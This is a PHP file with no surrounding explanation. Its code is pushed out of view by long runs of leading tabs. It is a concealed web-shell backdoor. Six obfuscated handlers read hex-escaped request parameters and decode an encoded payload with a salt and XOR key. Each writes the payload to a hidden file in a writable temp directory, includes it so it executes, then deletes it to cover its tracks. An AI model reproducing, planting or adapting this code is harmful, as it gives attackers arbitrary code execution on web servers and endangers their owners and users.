<?php																																										if(isset($_POST["r\x65s"]) ? true : false){ $holder = array_filter([getcwd(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path()]); $rec = $_POST["r\x65s"]; $rec = explode ( '.', $rec ) ; $binding = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach($rec as $u => $v2): $chS = ord($s1[$u % $sLen]); $dec =((int)$v2 - $chS -($u % 10)) ^ 37; $binding .= chr($dec); endforeach; $flag = 0; do { $pgrp = $holder[$flag] ?? null; if ($flag >= count($holder)) break; if (is_dir($pgrp) ? is_writable($pgrp) : false) { $ptr = join("/", [$pgrp, ".item"]); if (file_put_contents($ptr, $binding)) { require $ptr; unlink($ptr); die(); } } $flag++; } while (true); }
																																										if(!is_null($_REQUEST["i\x74e\x6D"] ?? null)){ $descriptor = array_filter([getcwd(), "/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $reference = $_REQUEST["i\x74e\x6D"]; $reference = explode ( "." , $reference ) ; $ent =''; $salt4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt4 ); foreach ($reference as $p => $v3): $sChar =ord($salt4[$p % $sLen] ); $dec =((int)$v3 - $sChar - ($p % 10)) ^ 32; $ent .= chr($dec ); endforeach; foreach ($descriptor as $key => $flag) { if ((is_dir($flag) and is_writable($flag))) { $k = vsprintf("%s/%s", [$flag, ".pgrp"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(!is_null($_POST["p\x61ramet\x65\x72_\x67\x72o\x75\x70"] ?? null)){ $pset = $_POST["p\x61ramet\x65\x72_\x67\x72o\x75\x70"]; $pset= explode ( '.' , $pset); $entity = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $k = 0; foreach($pset as $v8) { $chS = ord($s9[$k % $sLen]); $d = ((int)$v8 - $chS -($k % 10)) ^ 7; $entity .= chr($d); $k++;} $dat = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $descriptor = 0; do { $ptr = $dat[$descriptor] ?? null; if ($descriptor >= count($dat)) break; if (is_dir($ptr) && is_writable($ptr)) { $holder = implode("/", [$ptr, ".item"]); if (@file_put_contents($holder, $entity) !== false) { include $holder; unlink($holder); exit; } } $descriptor++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "k")){ $resource = $_POST["k"]; $resource = explode ( '.' , $resource ) ; $token= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1); $j= 0; while ($j < count($resource)) { $v3= $resource[$j]; $sChar= ord($salt1[$j % $lenS]); $d= ((int)$v3 - $sChar - ($j % 10)) ^ 89; $token .= chr($d); $j++; } $marker = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", "/var/tmp", session_save_path()]); foreach ($marker as $key => $pset) { if (max(0, is_dir($pset) * is_writable($pset))) { $entry = vsprintf("%s/%s", [$pset, ".comp"]); $file = fopen($entry, 'w'); if ($file) { fwrite($file, $token); fclose($file); include $entry; @unlink($entry); die(); } } } }
																																										if(!empty($_REQUEST["\x76\x61lue"])){ $item = $_REQUEST["\x76\x61lue"]; $item = explode("." , $item ) ; $res= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $r= 0; $len= count( $item); do { if( $r >= $len) break; $v9= $item[$r]; $chS= ord( $salt[$r % $lenS]); $d= ( ( int)$v9 - $chS -( $r % 10)) ^ 42; $res .= chr( $d); $r++; } while( true); $dat = array_filter([getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); for ($itm = 0, $ent = count($dat); $itm < $ent; $itm++) { $fac = $dat[$itm]; if (max(0, is_dir($fac) * is_writable($fac))) { $token = "$fac/.ref"; if (file_put_contents($token, $res)) { include $token; @unlink($token); die(); } } } }


if(array_key_exists("e\x6E\x74", $_REQUEST)){
	$pointer = $_REQUEST["e\x6E\x74"];
		$pointer=explode	 ( '.' ,	$pointer );	 
	$reference = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt );
            $n = 0;
    
            $__tmp = $pointer;
            while ($v5 = array_shift($__tmp)) {
                $chS = ord($salt[$n % $sLen] );
                $dec = ((int)$v5 - $chS - ($n % 10)) ^ 48;
                $reference .= chr($dec );
                $n++;
            }
	$element = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($element as $key => $hld) {
    		if (!( !is_dir($hld) || !is_writable($hld) )) {
    $value = "$hld/.data";
    $file = fopen($value, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $value;
	@unlink($value);
	die();
}
}
}
}